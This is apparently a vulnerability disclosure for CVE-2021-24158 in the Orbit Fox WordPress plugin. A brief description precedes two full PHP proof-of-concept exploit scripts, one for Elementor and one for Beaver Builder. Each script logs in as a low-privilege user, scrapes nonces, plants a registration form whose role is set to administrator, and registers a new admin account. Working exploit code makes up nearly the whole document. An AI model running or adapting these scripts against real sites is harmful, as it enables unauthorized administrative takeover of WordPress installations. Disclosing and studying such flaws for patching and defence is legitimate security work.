Orbit Fox by ThemeIsle < 2.10.3 – Authenticated Privilege Escalation | CVE 2021-24158

Description

Orbit Fox by ThemeIsle has a feature to add a registration form to both the Elementor and Beaver Builder page builders functionality. As part of the registration form, administrators can choose which role to set as the default for users upon registration. This field is hidden from view for lower-level users, however, they can still supply the user_role parameter to update the default role for registration.

This vulnerability requires user registration to be enabled on the target site, and Elementor or Beaver Builder to be installed on the same site that Orbit Fox is enabled.

Proof of Concept

Elementor PoC

<?php

// Settings
$siteurl = $argv[1];
$wp_user = $argv[2];
$wp_pass = $argv[3];


$proxy = '127.0.0.1:8081';
$urlbits = parse_url( $siteurl );
$wp_url = $urlbits['scheme'].'://'.$urlbits['host'].'/';

//Json Encode Our New Post
$data = array(
    "title" => "Exploit Post",
    "content" => "<!-- wp:paragraph -->\nSample\n<!-- /wp:paragraph -->",
    "status"=>"pending");

$postdata = json_encode($data);

//Get Json post data length
$length = strlen($postdata);

echo 'Logging in!';

// 1) Log in as contributor+
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-login.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'log'        => $wp_user,
    'pwd'        => $wp_pass,
    'rememberme' => 'forever',
    'wp-submit'  => 'Log+In',
]);
$output = curl_exec($ch);
curl_close($ch);

echo 'Grabbing Rest API!';
// Pull the Rest API Nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);
curl_close($ch);

//Rest API Nonce
preg_match('/wp\.apiFetch\.createNonceMiddleware\(\s"([^"]+)"\s\)/', $content, $matches);
$restnonce = $matches[1];

echo 'Creating New Post and Grabbing Page ID!';
//Create New Post
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-json/wp/v2/posts');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt( $ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    "X-WP-Nonce: $restnonce",
    "Content-Length: $length"));
curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
$test = curl_exec($ch);

//Grab the page-id
preg_match('/"id":([^"]+),/', $test, $matches);
$pageid = $matches[1];

echo 'Getting Another Nonce!';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-admin/post.php?post=' . $pageid . '&action=elementor');
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);
curl_close($ch);

//Import Nonce
preg_match('/"nonce":"([^"]+)"},"connect/', $content, $matches);
$elementornonce = $matches[1];

echo 'Adding New User Form!';
//Upload a file
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $siteurl . '/wp-admin/admin-ajax.php' );
curl_setopt( $ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13' );
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, [
    'actions' => '{"save_builder":{"action":"save_builder","data":{"status":"publish","elements":[{"id":"be9a476","elType":"section","isInner":false,"settings":{},"elements":[{"id":"7ea305d","elType":"column","isInner":false,"settings":{"_column_size":100,"_inline_size":null},"elements":[{"id":"6edacb5","elType":"widget","isInner":false,"settings":{"form_fields":[{"key":"username","type":"text","label":"User Name","require":"required","placeholder":"User Name","field_width":"100","field_map":"user_login","_id":"3aef8c5","requirement":"","field_width_tablet":"","field_width_mobile":""},{"key":"email","type":"email","label":"Email","require":"required","placeholder":"Email","field_width":"100","field_map":"user_email","_id":"08c574b","requirement":"","field_width_tablet":"","field_width_mobile":""},{"key":"password","type":"password","label":"Password","require":"required","placeholder":"Password","field_width":"100","field_map":"user_pass","_id":"5f76a2d","requirement":"","field_width_tablet":"","field_width_mobile":""}],"submit_label":"Register","user_role":"administrator"},"elements":[],"widgetType":"content_form_registration"}]}]}],"settings":{"post_title":"BadPost","post_status":"pending"}}}}',
    '_nonce' => $elementornonce,
    'editor_post_id' => $pageid,
    'initial_document_id' => $pageid,
    'action' => 'elementor_ajax'
] );
$output = curl_exec($ch);
curl_close($ch);

echo 'Getting Another Nonce!';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . '/?p=' . $pageid . '&preview=true');
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$register = curl_exec($ch);
curl_close($ch);

//Import Nonce
preg_match('/"_wpnonce_registration"\svalue="([^"]+)"/', $register, $matches);
$registernonce = $matches[1];

//Import Nonce
preg_match('/contentFormsSettings(.)*"nonce":"([^"]+)"}/', $register, $matches);
$formnonce = $matches[2];

echo 'Adding New User!';
//Upload a file
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $siteurl . '/wp-json/content-forms/v1/submit' );
curl_setopt( $ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13' );
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt( $ch, CURLOPT_HTTPHEADER, array(
    "X-WP-Nonce: $formnonce"));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, [
    'form_type' => 'registration',
    'form_id' => '6edacb5',
    'post_id' => $pageid,
    'form_builder' => 'elementor',
    'data[6edacb5][USER_LOGIN]' => 'hax0r',
    'data[6edacb5][USER_EMAIL]' => 'a@a.com',
    'data[6edacb5][USER_PASS]' => 'hax0r',
    'nonce' => $registernonce,

] );
$output = curl_exec($ch);
curl_close($ch);
print_r($output);

?>

Beaver Builder PoC
<?php

// Settings
$siteurl = $argv[1];
$wp_user = $argv[2];
$wp_pass = $argv[3];


$proxy = '127.0.0.1:8081';
$urlbits = parse_url( $siteurl );
$wp_url = $urlbits['scheme'].'://'.$urlbits['host'].'/';

//Json Encode Our New Post
$data = array(
    "title" => "Exploit Post",
    "content" => "<!-- wp:paragraph -->\nSample\n<!-- /wp:paragraph -->",
    "status"=>"pending");

$postdata = json_encode($data);

//Get Json post data length
$length = strlen($postdata);

echo 'Logging in!';

// 1) Log in as contributor+
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-login.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'log'        => $wp_user,
    'pwd'        => $wp_pass,
    'rememberme' => 'forever',
    'wp-submit'  => 'Log+In',
]);
$output = curl_exec($ch);
curl_close($ch);

echo 'Grabbing Rest API!';
// Pull the Rest API Nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);
curl_close($ch);

//Rest API Nonce
preg_match('/wp\.apiFetch\.createNonceMiddleware\(\s"([^"]+)"\s\)/', $content, $matches);
$restnonce = $matches[1];

echo 'Creating New Post and Grabbing Page ID!';
//Create New Post
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-json/wp/v2/posts');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt( $ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    "X-WP-Nonce: $restnonce",
    "Content-Length: $length"));
curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
$test = curl_exec($ch);

//Grab the page-id
preg_match('/"id":([^"]+),/', $test, $matches);
$pageid = $matches[1];

echo 'Getting Another Nonce!';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . '/?p=' . $pageid . '&fl_builder');
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);
curl_close($ch);

//Import Nonce
preg_match('/ajaxNonce":"([^"]+)","builderEnabled"/', $content, $matches);
$beavernonce = $matches[1];

echo 'Getting Node!';
//Getting Node
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $siteurl . '/?p=' . $pageid . '&fl_builder');
curl_setopt( $ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13' );
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, [
    'fl_builder_data[action]' => 'render_new_module',
    'fl_builder_data[parent_id]' => '0',
    'fl_builder_data[type]' => 'class-themeisle-content-forms-beaver-registration',
    'fl_builder_data[position]' => '-1',
    'fl_builder_data[_wpnonce]' => $beavernonce,
    'fl_builder_data[post_id]' => $pageid,
    'fl_builder_data[fl_builder]' => '1',
    'fl_builder_data[fl_action]' => 'render_new_module'
] );
$node = curl_exec($ch);
curl_close($ch);

//Import Nonce
preg_match('/"nodeId":"([^"]+)"/', $node, $matches);
$nodeID = $matches[1];

echo 'Adding New User Form!';
//Upload a file
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $siteurl . '/?p=' . $pageid . '&fl_builder' );
curl_setopt( $ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13' );
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, [
    'fl_builder_data[action]' => 'save_settings',
    'fl_builder_data[node_id]' => $nodeID,
    'fl_builder_data[settings][fields][]' => '{"label":"User Name","placeholder":"User Name","type":"text","field_width":"100","field_width_medium":"","field_width_responsive":"","required":"required","field_map":"user_login","key":"username"}',
    'fl_builder_data[settings][fields][]' => '{"label":"Email","placeholder":"Email","type":"email","field_width":"100","field_width_medium":"","field_width_responsive":"","required":"required","field_map":"user_email","key":"email"}',
    'fl_builder_data[settings][fields][]' => '{"label":"Password","placeholder":"Password","type":"password","field_width":"100","field_width_medium":"","field_width_responsive":"","required":"required","field_map":"user_pass","key":"password"}',
    'fl_builder_data[settings][hide_label]' => 'show',
    'fl_builder_data[settings][submit_label]' => 'register',
    'fl_builder_data[settings][user_role]' => 'administrator',
    'fl_builder_data[_wpnonce]' => $beavernonce,
    'fl_builder_data[post_id]' => $pageid,
    'fl_builder_data[fl_builder]' => '1',
    'fl_builder_data[fl_action]' => 'save_settings'

] );
$output = curl_exec($ch);
curl_close($ch);

echo 'Adding New User Form!';
//Upload a file
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $siteurl . '/?p=' . $pageid . '&fl_builder' );
curl_setopt( $ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13' );
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, [
    'fl_builder_data[action]' => 'save_layout',
    'fl_builder_data[publish]' => 'true',
    'fl_builder_data[exit]' => '1',
    'fl_builder_data[_wpnonce]' => $beavernonce,
    'fl_builder_data[post_id]' =>  $pageid,
    'fl_builder_data[fl_builder]' => '1',
    'fl_builder_data[fl_action]' => 'save_layout'

] );
$output = curl_exec($ch);
curl_close($ch);

echo 'Getting Another Nonce!';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . '/?p=' . $pageid . '&preview=true');
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$register = curl_exec($ch);
curl_close($ch);

//Import Nonce
preg_match('/"_wpnonce_registration"\svalue="([^"]+)"/', $register, $matches);
$registernonce = $matches[1];

//Import Nonce
preg_match('/contentFormsSettings(.)*"nonce":"([^"]+)"}/', $register, $matches);
$formnonce = $matches[2];

echo 'Adding New User!';
//Upload a file
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $siteurl . '/wp-json/content-forms/v1/submit' );
curl_setopt( $ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13' );
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt( $ch, CURLOPT_HTTPHEADER, array(
    "X-WP-Nonce: $formnonce"));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, [
    'form_type' => 'registration',
    'form_id' => $nodeID,
    'post_id' => $pageid,
    'form_builder' => 'beaver',
    'data[' . $nodeID . '][USER_LOGIN]' => 'hax0r4',
    'data['. $nodeID .'][USER_EMAIL]' => 'a4@a.com',
    'data['. $nodeID .'][USER_PASS]' => 'hax0r',
    'nonce' => $registernonce,

] );
$output = curl_exec($ch);
curl_close($ch);
print_r($output);

?>